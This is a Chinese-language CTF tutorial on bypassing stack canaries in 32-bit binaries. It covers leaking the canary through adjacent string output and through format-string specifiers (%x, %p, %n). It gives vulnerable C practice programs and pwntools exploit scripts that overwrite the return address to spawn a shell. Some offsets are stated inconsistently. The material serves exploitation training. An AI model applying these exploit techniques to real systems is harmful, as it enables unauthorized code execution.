Canary原理和溢出原理
知识点1、Canary是一种保护栈溢出的方式,原理就是向栈尾部中写入一个数据,如果函数执行完后要ret时,发现这个数据被修改了,说明栈溢出,跳转到退出函数,从而避免getShell。
知识点2、若flag是存在服务器的内存里,假设你已经知道了这个字符串的内存地址,你可以主动的触发它的保护机制,保护机制会自动输出Canary位置的数据作为指针指向的内存,比如已知flag的内存地址是 0x08040100,可以构造 p32(0x08040100)*50 ,50只是我随意的打的,只要能覆盖到Canary即可。
知识点3、只要知道Canary,就可以绕过Canary的保护,即溢出Canary,再覆盖。
#### 溢出方法有两种,第一种是字符串格式漏洞,第二种是爆破Canary
知识点4、Canary在32位程序中以XXXXXX00格式出现,64位程序中XXXXXXXXXXXXXX00,且Canary自程序开始到结束中,任何Canary都是同样唯一的
第一种较为简单,若一个函数中出现read然后紧跟的是printf,然后继续跟着read,且printf的参数恰好为read中读入的参数,那么我们可以构造字符串使字符串连接到Canary,然后printf时,会连带的把Canary也一起输出出来。例如以下代码存在溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| unsigned int vuln() { signed int i; // [esp+4h] [ebp-74h] char buf; // [esp+8h] [ebp-70h] unsigned int v3; // [esp+6Ch] [ebp-Ch]
v3 = __readgsdword(0x14u); for ( i = 0; i <= 1; ++i ) { read(0, &buf, 0x200u); printf(&buf); } return __readgsdword(0x14u) ^ v3; }
|
在第一种方法中还存在一些额外情况,比如read中参数不足以连接到Canary,但是printf的参数还是和read中一样,那么我们可以使用格式化字符串,如下
format参考列表
1 2 3 4 5 6 7
| %c:输出字符,配上%n可用于向指定地址写数据。 %d:输出十进制整数,配上%n可用于向指定地址写数据。 %x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。 %p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。 %s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。 %n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。 %n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。
|
我们可以先通过 AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x 来找到AAAA的位置 然后就可以计算偏移得到Canary的数据
0x01 Canaryleak
文件下载
程序源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| // ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
|
溢出思路
vuln中存在两次读入两次输出,由于开启了Canary,所以第一个读入要把读入的字符串连接上Canary,然后printf一并输出出来,第二个读入只需要带着Canary覆盖ret即可
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import * context.log_level = "debug" sh = process("./canary") elf = ELF("canary") getShell_addr = elf.symbols['getshell'] payload = 'A'*100 sh.sendline(payload) sh.recvuntil('A'*100) canary = u32(sh.recv(4))-0xa print "[+] Canary: " + hex(canary) payload = 'A'*100 + p32(canary) + 'A'*12 + p32(getShell_addr) sh.sendline(payload) sh.interactive()
|
0x02 格式化输出漏洞
程序源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| #include<stdio.h>
void canary_protect_me(void){
system("/bin/sh");
}
int main(void){
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf[40];
gets(buf);
printf(buf);//存在格式化漏洞
gets(buf);
return 0;
}
|
溢出思路
先输入 AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
发现第5个是61616161(AAAA),然后ida中分析到buf到Canary是40偏移,然后只需要带着Canary覆盖EIP即可
过程:先输入 AAAA%5$x 获取Canary,取出后四位,带着这四位数据覆盖EIP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #!/usr/bin/env python from pwn import * context.log_level = "debug" sh = process("pwn200") input() elf = ELF("pwn200") getShell_addr = elf.symbols['canary_protect_me'] print "[+] getShell_addr:" + hex(getShell_addr) payload = 'AAAA%15$x' sh.sendline(payload) sh.recvuntil("AAAA") Canary = int(sh.recv(8),16) print "[+] Get Canary :"+ hex(Canary) payload = 'A' * 40 + p32(Canary)*4 + p32(getShell_addr) sh.sendline(payload) sh.interactive()
|